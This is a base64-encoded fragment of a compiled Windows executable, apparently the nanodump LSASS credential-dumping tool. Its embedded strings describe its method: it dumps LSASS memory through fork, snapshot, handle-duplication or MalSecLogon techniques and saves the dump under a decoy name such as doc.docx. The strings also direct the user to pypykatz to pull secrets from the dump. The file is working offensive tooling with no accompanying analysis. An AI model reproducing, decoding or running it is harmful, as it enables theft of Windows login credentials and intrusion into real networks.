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RhcmdldCBwcm9jZXNzIGJlZm9yZSBkdW1waW5nACAgICAtLWR1cCwgLWQAAAAAICAgICAgICAgICAgZHVwbGljYXRlIGFuIGV4aXN0aW5nIExTQVNTIGhhbmRsZQAgICAgLS1tYWxzZWNsb2dvbiwgLW0AAAAAICAgICAgICAgICAgb2J0YWluIGEgaGFuZGxlIHRvIExTQVNTIGJ5IChhYil1c2luZyBzZWNsb2dvbgAAICAgIC0tYmluYXJ5IEJJTl9QQVRILCAtYiBCSU5fUEFUSAAAICAgICAgICAgICAgZnVsbCBwYXRoIHRvIHRoZSBkZWNveSBiaW5hcnkgdXNlZCB3aXRoIC0tZHVwIGFuZCAtLW1hbHNlY2xvZ29uACAgICAtLWhlbHAsIC1oAAAgICAgICAgICAgICBwcmludCB0aGlzIGhlbHAgbWVzc2FnZSBhbmQgbGVhdmUAAABOYW5vZHVtcCBkb2VzIG5vdCBzdXBwb3J0IFdvVzY0AC0tZ2V0cGlkAC12AC0tdmFsaWQALXcALS13cml0ZQBtaXNzaW5nIC0td3JpdGUgdmFsdWUALXAALS1waWQAbWlzc2luZyAtLXBpZCB2YWx1ZQAwMTIzNDU2Nzg5AEludmFsaWQgUElEOiAlcwAtZgAtLWZvcmsALXMALS1zbmFwc2hvdAAtZAAtLWR1cAAtbQAtLW1hbHNlY2xvZ29uAC1zMgAtLXN0YWdlMgAtYgAtLWJpbmFyeQBtaXNzaW5nIC0tYmluYXJ5IHZhbHVlAABZb3UgbXVzdCBwcm92aWRlIGEgZnVsbCBwYXRoOiAlcwAAAABUaGUgYmluYXJ5ICIlcyIgZG9lcyBub3QgZXhpc3RzLgAtaAAtLWhlbHAAaW52YWxpZCBhcmd1bWVudDogJXMASWYgTWFsU2VjTG9nb24gaXMgYmVpbmcgdXNlZCBsb2NhbGx5LCB5b3UgbmVlZCB0byBwcm92aWRlIHRoZSBmdWxsIHBhdGg6ICVzAFRoZSBvcHRpb25zIC0tZm9yayBhbmQgLS1zbmFwc2hvdCBjYW5ub3QgYmUgdXNlZCBhdCB0aGUgc2FtZSB0aW1lAExTQVNTIFBJRDogJWxkAAAAAFlvdSBtdXN0IHByb3ZpZGUgdGhlIGR1bXAgZmlsZTogLS13cml0ZSBDOlxXaW5kb3dzXFRlbXBcZG9jLmRvY3gAAAAASWYgLS1kdXAgYW5kIC0tbWFsc2VjbG9nb24gYXJlIHVzZWQsIHlvdSBuZWVkIHRvIHByb3ZpZGUgYSBiaW5hcnkgd2l0aCAtLWJpbmFyeQBUaGUgb3B0aW9uIC0tYmluYXJ5IGNhbiBvbmx5IGJlIHVzZWQgd2l0aCAtLW1hbHNlY2xvZ29uIGFuZCAtLWR1cAAAAEB/QAAAoEEABKBBAABoQQAckEEAAAAAAAAAAABVbmtub3duIGVycm9yAAAAX21hdGhlcnIoKTogJXMgaW4gJXMoJWcsICVnKSAgKHJldHZhbD0lZykKAABBcmd1bWVudCBkb21haW4gZXJyb3IgKERPTUFJTikAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFRoZSByZXN1bHQgaXMgdG9vIHNtYWxsIHRvIGJlIHJlcHJlc2VudGVkIChVTkRFUkZMT1cpAAAAVG90YWwgbG9zcyBvZiBzaWduaWZpY2FuY2UgKFRMT1NTKQAAUGFydGlhbCBsb3NzIG9mIHNpZ25pZmljYW5jZSAoUExPU1MpAAAAACgNQQBHDUEAZA1BAIQNQQC8DUEA4A1BAE1pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgBBZGRyZXNzICVwIGhhcyBubyBpbWFnZS1zZWN0aW9uACAgVmlydHVhbFF1ZXJ5IGZhaWxlZCBmb3IgJWQgYnl0ZXMgYXQgYWRkcmVzcyAlcAAAAAAgIFZpcnR1YWxQcm90ZWN0IGZhaWxlZCB3aXRoIGNvZGUgMHgleAAAICBVbmtub3duIHBzZXVkbyByZWxvY2F0aW9uIHByb3RvY29sIHZlcnNpb24gJWQuCgAAACAgVW5rbm93biBwc2V1ZG8gcmVsb2NhdGlvbiBiaXQgc2l6ZSAlZC4KAAAAJWQgYml0IHBzZXVkbyByZWxvY2F0aW9uIGF0ICVwIG91dCBvZiByYW5nZSwgdGFyZ2V0aW5nICVwLCB5aWVsZGluZyB0aGUgdmFsdWUgJXAuCgAAKG51bGwpAAAoAG4AdQBsAGwAKQAAAE5hTgBJbmYAAADUskAAMKxAADCsQADvskAAMKxAACaxQAAwrEAAY7NAADCsQAAwrEAACbNAAEmzQAAwrEAAva5AANuuQAAwrEAA+7FAADCsQAAwrEAAMKxAADCsQAAwrEAAMKxAADCsQAAwrEAAMKxAADCsQAAwrEAAMKxAADCsQAAwrEAAMKxAADCsQAAZskAAMKxAAD6x